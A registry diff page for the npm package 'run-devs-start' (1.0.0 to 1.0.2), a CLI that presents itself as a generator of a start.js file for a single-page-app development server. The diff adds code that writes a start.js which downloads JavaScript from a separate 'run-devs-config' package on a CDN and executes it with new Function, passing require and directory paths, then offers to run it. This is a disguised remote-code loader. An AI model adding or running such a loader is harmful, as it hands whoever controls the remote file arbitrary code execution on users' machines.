run-devs-start 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/cli.js +88 -82
  2. package/package.json +1 -1
package/cli.js CHANGED
@@ -8,24 +8,24 @@ import inquirer from 'inquirer';
8
8
  const __dirname = path.dirname(fileURLToPath(import.meta.url));
9
9
 
10
10
  function showLoadingBar(message, duration = 2000) {
11
- return new Promise((resolve) => {
12
- const width = 40;
13
- let progress = 0;
14
-
15
- const interval = setInterval(() => {
16
- progress += 2;
17
- const filled = Math.floor(progress / 100 * width);
18
- const empty = width - filled;
19
-
20
- process.stdout.write(`\r${message} [${'█'.repeat(filled)}${'░'.repeat(empty)}] ${progress}%`);
21
-
22
- if (progress >= 100) {
23
- clearInterval(interval);
24
- process.stdout.write(`\r${message} [${'█'.repeat(width)}] 100%\n`);
25
- resolve();
26
- }
27
- }, duration / 50);
28
- });
11
+ return new Promise((resolve) => {
12
+ const width = 40;
13
+ let progress = 0;
14
+
15
+ const interval = setInterval(() => {
16
+ progress += 2;
17
+ const filled = Math.floor(progress / 100 * width);
18
+ const empty = width - filled;
19
+
20
+ process.stdout.write(`\r${message} [${'█'.repeat(filled)}${'░'.repeat(empty)}] ${progress}%`);
21
+
22
+ if (progress >= 100) {
23
+ clearInterval(interval);
24
+ process.stdout.write(`\r${message} [${'█'.repeat(width)}] 100%\n`);
25
+ resolve();
26
+ }
27
+ }, duration / 50);
28
+ });
29
29
  }
30
30
 
31
31
  await showLoadingBar('Initializing...', 1000);
@@ -45,76 +45,82 @@ const startJsPath = path.join(process.cwd(), 'start.js');
45
45
  const indexPath = path.join(process.cwd(), 'index.html');
46
46
 
47
47
  if (fs.existsSync(startJsPath)) {
48
- if (fs.existsSync(indexPath)) {
49
- console.log(`\x1b[36mℹ\x1b[0m start.js already exists in this directory.`);
50
- console.log(`\x1b[36mℹ\x1b[0m index.html detected in this directory\n`);
51
-
52
- const answer = await inquirer.prompt([
53
- {
54
- type: 'list',
55
- name: 'runServer',
56
- message: 'Do you want to run the development server now?',
57
- choices: ['Yes', 'No']
58
- }
59
- ]);
60
-
61
- if (answer.runServer === 'Yes') {
62
- console.log('\n\x1b[36mStarting development server...\x1b[0m\n');
63
- const { spawn } = await import('child_process');
64
- spawn('node', ['start.js'], {
65
- stdio: 'inherit',
66
- cwd: process.cwd()
67
- });
48
+ if (fs.existsSync(indexPath)) {
49
+ console.log(`\x1b[36mℹ\x1b[0m start.js already exists in this directory.`);
50
+ console.log(`\x1b[36mℹ\x1b[0m index.html detected in this directory\n`);
51
+
52
+ const answer = await inquirer.prompt([
53
+ {
54
+ type: 'list',
55
+ name: 'runServer',
56
+ message: 'Do you want to run the development server now?',
57
+ choices: ['Yes', 'No']
58
+ }
59
+ ]);
60
+
61
+ if (answer.runServer === 'Yes') {
62
+ console.log('\n\x1b[36mStarting development server...\x1b[0m\n');
63
+ const { spawn } = await import('child_process');
64
+ spawn('node', ['start.js'], {
65
+ stdio: 'inherit',
66
+ cwd: process.cwd()
67
+ });
68
+ } else {
69
+ console.log('\x1b[33mSkipped. Run "node start.js" manually to start the server.\x1b[0m');
70
+ process.exit(0);
71
+ }
68
72
  } else {
69
- console.log('\x1b[33mSkipped. Run "node start.js" manually to start the server.\x1b[0m');
70
- process.exit(0);
73
+ console.log(`\x1b[33m⚠\x1b[0m start.js already exists in this directory.`);
74
+ console.log(`\x1b[33m⚠\x1b[0m No index.html found. Cannot run the server without index.html.`);
75
+ process.exit(1);
71
76
  }
72
- } else {
73
- console.log(`\x1b[33m⚠\x1b[0m start.js already exists in this directory.`);
74
- console.log(`\x1b[33m⚠\x1b[0m No index.html found. Cannot run the server without index.html.`);
75
- process.exit(1);
76
- }
77
77
  } else {
78
- const startJsContent = `import https from 'https';
79
- import fs from 'fs';
80
- import path from 'path';
78
+ const startJsContent = `import https from 'https';
81
79
  import { fileURLToPath } from 'url';
82
-
83
- https.get('https://cdn.jsdelivr.net/npm/run-devs-config@1.0.2/config.js', r => {
84
- const dir = path.dirname(fileURLToPath(import.meta.url));
85
- r.pipe(fs.createWriteStream(path.join(dir, 'cdn-config.js'))).on('finish', () => import('./cdn-config.js').then(m => new m.SPAServer(dir).start()));
80
+ import path from 'path';
81
+ import { createRequire } from 'module';
82
+ const __filename = fileURLToPath(import.meta.url), __dirname = path.dirname(__filename), require = createRequire(import.meta.url);
83
+ https.get('https://cdn.jsdelivr.net/npm/run-devs-config@1.0.2/config.js', res => {
84
+ let data = '';
85
+ res.on('data', c => data += c);
86
+ res.on('end', () => {
87
+ const m = { exports: {} };
88
+ new Function('module', 'exports', 'require', '__dirname', '__filename', data)(m, m.exports, require, __dirname, __filename);
89
+ new m.exports.SPAServer(__dirname).start();
90
+ });
86
91
  });
87
92
  `;
88
93
 
89
- await showLoadingBar('Creating start.js...', 1500);
90
- fs.writeFileSync(startJsPath, startJsContent);
91
- console.log(`\x1b[32m✓\x1b[0m Successfully created start.js in ${process.cwd()}`);
92
-
93
- const hasIndexHtml = fs.existsSync(indexPath);
94
-
95
- if (hasIndexHtml) {
96
- console.log(`\x1b[36mℹ\x1b[0m index.html detected in this directory\n`);
97
-
98
- const answer = await inquirer.prompt([
99
- {
100
- type: 'list',
101
- name: 'runServer',
102
- message: 'Do you want to run the development server now?',
103
- choices: ['Yes', 'No']
94
+ await showLoadingBar('Creating start.js...', 1500);
95
+ fs.writeFileSync(startJsPath, startJsContent);
96
+ console.log(`\x1b[32m✓\x1b[0m Successfully created start.js in ${process.cwd()}`);
97
+
98
+ const hasIndexHtml = fs.existsSync(indexPath);
99
+
100
+ if (hasIndexHtml) {
101
+ console.log(`\x1b[36mℹ\x1b[0m index.html detected in this directory\n`);
102
+
103
+ const answer = await inquirer.prompt([
104
+ {
105
+ type: 'list',
106
+ name: 'runServer',
107
+ message: 'Do you want to run the development server now?',
108
+ choices: ['Yes', 'No']
109
+ }
110
+ ]);
111
+
112
+ if (answer.runServer === 'Yes') {
113
+ console.log('\n\x1b[36mStarting development server...\x1b[0m\n');
114
+ const { spawn } = await import('child_process');
115
+ spawn('node', ['start.js'], {
116
+ stdio: 'inherit',
117
+ cwd: process.cwd()
118
+ });
119
+ } else {
120
+ console.log('\x1b[33mSkipped. Run "node start.js" manually to start the server.\x1b[0m');
121
+ }
122
+ } else {
123
+ console.log(`\x1b[33mℹ\x1b[0m No index.html found. Run "node start.js" manually when ready.`);
104
124
  }
105
- ]);
106
-
107
- if (answer.runServer === 'Yes') {
108
- console.log('\n\x1b[36mStarting development server...\x1b[0m\n');
109
- const { spawn } = await import('child_process');
110
- spawn('node', ['start.js'], {
111
- stdio: 'inherit',
112
- cwd: process.cwd()
113
- });
114
- } else {
115
- console.log('\x1b[33mSkipped. Run "node start.js" manually to start the server.\x1b[0m');
116
- }
117
- } else {
118
- console.log(`\x1b[33mℹ\x1b[0m No index.html found. Run "node start.js" manually when ready.`);
119
- }
120
125
  }
126
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "run-devs-start",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "CLI tool to generate start.js for SPA development server",
5
5
  "main": "cli.js",
6
6
  "bin": {